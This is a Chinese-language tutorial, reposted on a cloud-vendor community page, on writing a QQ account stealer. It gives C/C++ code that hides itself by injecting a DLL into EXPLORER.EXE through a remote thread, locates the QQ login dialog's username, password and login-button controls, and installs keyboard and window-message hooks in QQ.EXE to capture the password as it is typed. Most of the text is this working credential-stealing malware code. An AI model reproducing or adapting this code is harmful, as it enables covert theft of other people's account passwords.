QQ盜號核心編程

來源:互聯網
上載者:User

一。先講幾句廢話:
經常有聽到有朋友QQ被盜的訊息,總感覺做出這種行為的人是可鄙的,不就是對QQ視窗進行監視,然後再是記錄使用者輸入的號碼和密碼,認為沒什麼了不起。
對於Windows核心編程,本人還是一隻菜鳥,前一段時間把《Windows系統編程》粗略的看一邊(當然重點地方仔細的看),由於對於C++有點基礎,感覺學起來比較容易上手。但到了這兩天真正實踐的時候,遇到了各種各樣的問題。即使一個小小的問題都足以讓我這隻菜鳥鬱悶老半天。直到此時,在完成這個軟體的時候,整理一下思路,不但算是給自己個總結,也跟像我一樣的菜鳥們分享一下自己的經驗。
二。進入主題:
想必大家都已經知道,這類軟體的特點就是在使用者不知不覺的時候工作。在工作管理員中是看不到它們的,這就是隱藏了進程。採用插入核心的嵌入方式、利用遠程插入線程技術、嵌入DLL線程、或掛接PSAPI等都可以達到效果,哎,既然是個菜鳥就選擇一個最簡單的來做個實驗。
先講一下思路:需要三個進程A,B,C;兩個DLL。
初始進程A,用於在進程B中建立遠程線程,建立成功立即退出,不會留給工作管理員任何捕捉它的機會(你根本來不及觀察)。
進程B作為遠程線程的寄主,選擇的時候應該是那些系統中必須執行的進程,比如EXPLORER.EXE。其中的遠程線程用於監視目標進程。
進程C為目標進程在這裡也就是QQ.EXE。
第一個DLL(InspectQQLandDlg.dll),遠程線程的載體。
第二個DLL(MyHook.dll),全域鉤子函數的載體。
現在要做是利用進程A把InspectQQLandDlg.dll映射到進程B,同時啟動該DLL中的遠程線程,再利用該線程監視目標進程(QQ.EXE)QQ登陸視窗,一旦找到,立即把MyHook.dll映射到目標進程來監視使用者的輸入。
這樣也清楚了這個軟體設計的總體構架,下面用代碼來具體實現。

1。遠程線程的建立。先利用進程快照取得目標進程,相對比較簡單

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
 if ( hSnapshot == INVALID_HANDLE_VALUE)
 {
    return 0;
 }

string lpName = "EXPLORER.EXE" ;    //設定需要監視的進程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );
 
for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;   fOk =
  Process32Next( hSnapshot, &pe ) )
 {
  if ( pe.szExeFile == lpName )
  {  

   //取得宿主進程(EXPLORER.EXE)的控制代碼
   HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
    false, pe.th32ProcessID ) ;

   //取得目標DLL的當前路徑(路徑可自由設定)
   char szInspectDllPath[128] ;
   GetCurrentDirectory ( 128, szInspectDllPath ) ;
   strcat ( szInspectDllPath, "QQLandDlg.dll">//debug//InspectQQLandDlg.dll" ) ;
  
   //申請存放檔案名稱的空間
   LPVOID pszInspectDllRemote ;
   int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
   pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
    NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;
 
   //把dll檔案名稱寫入申請的空間
   WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
    (LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

   //擷取動態連結程式庫函數地址
   HMODULE hModule ;
   hModule = GetModuleHandle ( "kernel32.DLL" ) ;
   LPTHREAD_START_ROUTINE fnStartAddr ;
   fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
    "LoadLibraryA" ) ;
   
   //建立遠程線程
   HANDLE hInspectRemoteThread = NULL ;//存放遠程線程控制代碼
   hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
    fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
 
   if( hSnapshot != NULL )
    CloseHandle ( hSnapshot ) ;//關閉進程快照

   CloseHandle ( hRemoteProcess ) ;
   break ;
  }
 }

2。此時InspectQQLandDlg.DLL已經被映射到EXPLORER.EXE。此時在InspectQQLandDlg.DLL的DllMain(千萬不要寫成DLLMain)接受到DLL_PROCESS_ATTACH訊息,但一般來說不因在DllMain中執行過多的功能(借鑒前人的經驗,嘿嘿),於是很容易想到開闢一個新線程。

switch(fdwReason)
 {
  case DLL_PROCESS_ATTACH:
  {

   //下面這句會給你建立遠程線程成功的提示。
   MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

   HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
  
   break;
  }
 }

在新線程中要達到的目標只是一個迴圈,利用while()和迴圈標誌(BOOL)isContinue即可以實現。

在這個遠程線程中要完成的第二個任務是找到QQ登陸對話方塊中關鍵控制項。

關於這點網上有很多資料,利用的是FindWindow和FindWindowEx,這是針對以前的版本。在這裡已經無效了,現在QQ在這裡下了點工夫,採用的是視窗標題採用隨機字元。

就以登陸對話方塊為例,對話方塊的類為"#32770",或許許多菜鳥朋友會像我在最初的時候一樣,傻傻用FindWindow ("QQ使用者登陸","#32770") ;結果什麼都沒有,哎~~

其實可以通過視窗枚舉搞清楚QQ在這裡到底做了什麼手腳。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
 if ( !hwnd )
 {
  return false ;
 }
 char szWindowName[128] ;
 ZeroMemory ( szWindowName, 128 ) ;
 GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得類名

 if ( !strcmp ( szWindowClassName, "#32770" ) )
 {

   __asm int 3

 }

 return true ;
}

利用上面的程式段,在VC調試器中不斷按F5且同時在WATCH中觀察szWindowName,很容易發現這個視窗名字串是由不超過二十個字元組成(多次觀察),但其中的元素只有0X13,0X10,0X32,字串中的每個位置都是三個元素之一。但在SPY++中視窗名中看起來只不過是“  ”,怎麼看都只是幾個空格(再提醒一下,不要試圖通過複製其中的內容,效果可是無法忍受的,呵呵)

事實上登陸視窗可以通過視窗的許多確定因素來確定,比如視窗風格,視窗ID之類的,這些都可以通過SPY++輕易得到(SPY++,好東西啊),下面也就不多發話了,直接給出各個關鍵控制項的代碼。

#define UserNameComboBoxId 0x0000008A   //使用者名稱控制項ID
#define PasswordEditId     0x000000B4   //密碼控制項ID
#define ButtonId           0x00003EA0   //登陸按扭控制項ID
#define QQLandDlgMiniStyle 0x94CA00C4   //登陸對話方塊最小化時的風格
#define QQLandDlgShowStyle 0XB4CA00C4   //登陸對話方塊在案頭顯示時的風格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
 if ( !hwnd )
  return false ;

 long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
 if (  style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
 {
  hQQLand = hwnd ;
  EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

  return false ;
 }

 return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
 if ( !hwnd )
  return false ;

 //取得指定控制代碼的控制項ID
 long  id= GetWindowLong ( hwnd, GWL_ID ) ;

 if (id == UserNameComboBoxId )
 {
  hUserName = hwnd ;
 }

 else if ( id == PasswordEditId )
 {
  hPassword = hwnd ;
 }

 else if ( id == ButtonId )
 {
  hLandButton = hwnd ;
 }

 return true ;
}

到這裡終於取得盼望多時的hUserName,hPassword,hButton這三個控制項的控制代碼。~v~

在這裡其實可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ號碼),但不能取得密碼。

可以隨便下載個*號密碼,再在密碼框中輸入幾個字元,結果可能是失敗,不知道QQ做了什麼手腳,有機會再好好研究。既然此路不通,菜鳥也自己的辦法去達到目標。

現在遠程線程的第二個功能(取得關鍵控制項的控制代碼)已經完成,接下來要做的事是把MyHook.dll映射到QQ.EXE,這樣即可實現對使用者鍵盤輸入的監視。

只需調用MyHook.dll的介面函數即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模組。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
    HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
 if ( isInstall )
 {
  hQQLandDlg = hQQLand ;
  hUserNameEdit = hUserName ;
  hPasswordComboBox = hPassword ;
  hButton = hLandButton ;

  DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
  hHookDll = GetModuleHandle ( "MyHook" ) ;

  hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
   (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;
 
  hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
   (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

   if ( hKeyboard != NULL && hWndProc != NULL )
   return true ;
 }

 else
 {
  UnhookWindowsHookEx ( hKeyboard ) ;
  UnhookWindowsHookEx ( hWndProc ) ;

  hHookDll = NULL ;
  hKeyboard = NULL ;
  hWndProc = NULL ;
  ZeroMemory ( szPassword, 128 ) ;
  pszPasswordLen = 0 ;
 }

 return false ;
}

這個程式段很簡單只是通過檢測遠程線程的輸入安裝、卸載鉤子函數。

如果對鉤子函數不清楚的朋友,看一下MSDN或者WIN32函數集就可以了。

這裡對QQ登陸對話方塊線程設定兩個鉤子,一個鍵盤鉤子函數記錄鍵盤輸入;另一個全域訊息鉤子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//檢測斷行符號鍵是否被按下
 if ( wParam == VK_RETURN && lParam > 0 )
 {

  //由於鉤子函數只是記錄對密碼框的記錄,因而在最後時刻取得號碼會是準確的
  SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

  //此處可以自由處理攔截到的號碼和密碼(szUserName,szPassword)

  //不要忘了變數還原(szUserName,szPassword)
 }

 if ( lParam > 0 && wParam != VK_RETURN )
 {
  char KeyName[10] ;
   ZeroMemory ( KeyName, 10 ) ;
  GetKeyNameText ( lParam, KeyName, 10 ) ;

  if ( strlen ( KeyName ) == 1 )
  {
   strcat ( szPassword, KeyName ) ;
   }
 }

 return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分使用者是用滑鼠點擊登陸按扭的,可由下面代碼實現

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
 CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
 if ( p->message == WM_COMMAND && p->hwnd == hButton )
 {//同理

  SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

  //這裡可添加如何處理密碼的語句
  }
 return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}
上面給出的幾段代碼可以實現基本的號碼和密碼記錄功能,但對於具體細節的處理(比如使用者按退格鍵或是其他),這些只要考慮仔細就可以了沒有什麼難度,這裡就不說了。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.